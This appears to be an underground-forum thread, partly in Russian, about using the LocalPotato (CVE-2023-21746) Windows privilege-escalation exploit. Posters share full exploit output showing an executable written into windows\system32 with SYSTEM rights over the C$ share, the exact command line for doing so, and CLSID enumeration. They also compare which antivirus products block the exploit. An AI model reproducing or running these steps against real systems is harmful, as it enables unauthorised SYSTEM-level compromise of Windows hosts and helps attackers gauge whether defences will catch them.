Local LocalPotato or CVE-2023-21746

[Zodiac]

this is Local Windows priv esc exploit. this fucks NTLM reflection that targets local auth

GitHub - decoder-it/LocalPotato

Contribute to decoder-it/LocalPotato development by creating an account on GitHub.

github.com

 

[Stupor]

На Win 10 22H2.
С открытими шарами отработало без проблем в присутствии WinDef (не считая, что фаервол сработал)

[*] Objref Moniker Display Name = objref:TUVPVwEAAAAAAAAAAAAAAMAAAAAAAABGAQAAAAAAAACjmuE1V/x7JdtvwVy1RGbrAjgAALQWsBDLe9V8iJVjV1QAPgAHAEQARQBTAEsAVABPAFAALQAxADkAUQBHAEwAQgBMAAAABwAxADYAOQAuADIANQA0AC4AMgAxADkALgAxADMANwAAAAcAMQAwAC4AMAAuADIALgAxADUAAAAHADEAOQAyAC4AMQA2ADgALgA1ADYALgAxADAAOAAAAAAACQD//wAAHgD//wAAEAD//wAACgD//wAAFgD//wAAHwD//wAADgD//wAAAAA=:
[*] Calling CoGetInstanceFromIStorage with CLSID:{854A20FB-2D44-457D-992F-EF13785D2B51}
[*] Marshalling the IStorage object... IStorageTrigger written: 100 bytes
[*] Received DCOM NTLM type 1 authentication from the privileged client
[*] Connected to the SMB server with ip 127.0.0.1 and port 445
[+] SMB Client Auth Context swapped with SYSTEM
[+] RPC Server Auth Context swapped with the Current User
[*] Received DCOM NTLM type 3 authentication from the privileged client
[+] SMB reflected DCOM authentication succeeded!
[+] SMB Connect Tree: \\127.0.0.1\c$  success
[+] SMB Create Request File: windows\system32\!!!!.exe success
[+] SMB Write Request file: windows\system32\!!!!.exe success
[+] SMB Close File success
[+] SMB Tree Disconnect success

На той же Windows с закрытыми шарами не работает, естественно.

[*] Calling CoGetInstanceFromIStorage with CLSID:{854A20FB-2D44-457D-992F-EF13785D2B51}
[*] Marshalling the IStorage object... IStorageTrigger written: 100 bytes
[*] Received DCOM NTLM type 1 authentication from the privileged client
[*] Connected to the SMB server with ip 127.0.0.1 and port 445
[+] SMB Client Auth Context swapped with SYSTEM
[+] RPC Server Auth Context swapped with the Current User
[*] Received DCOM NTLM type 3 authentication from the privileged client
[!] SMB reflected DCOM authentication failed with status code 0xc0000022
[!] SMB Connect Tree: \\127.0.0.1\c$ failed with status code 0xc0000022

Закрывайте шары господа и пофигу сплоиты.

 

[Amsterdam]

Cool post, Windows truly is Swiss cheese when it comes to security.

 

[Stupor]

сам файл его LocalPotato.exe

LocalPotato.exe -i P:\Downloads\LocalPotato-master\x64\Release\LocalPotato.exe -o windows\system32\!!!!.exe

 

[JabbaWoz]

С WinDef сработало отлично, а вот с TrendMic не пропустило(

 

[Stupor]

Проверь, что шара C$ доступна

net share

Если доступна - возможно дырку залатали.

 

[Stupor]

Значит заплатка стоит

 

[Sec13B]

Get-ChildItem HKLM:\Software\Classes | Select-Object `(default`), PSChildName

For CLSID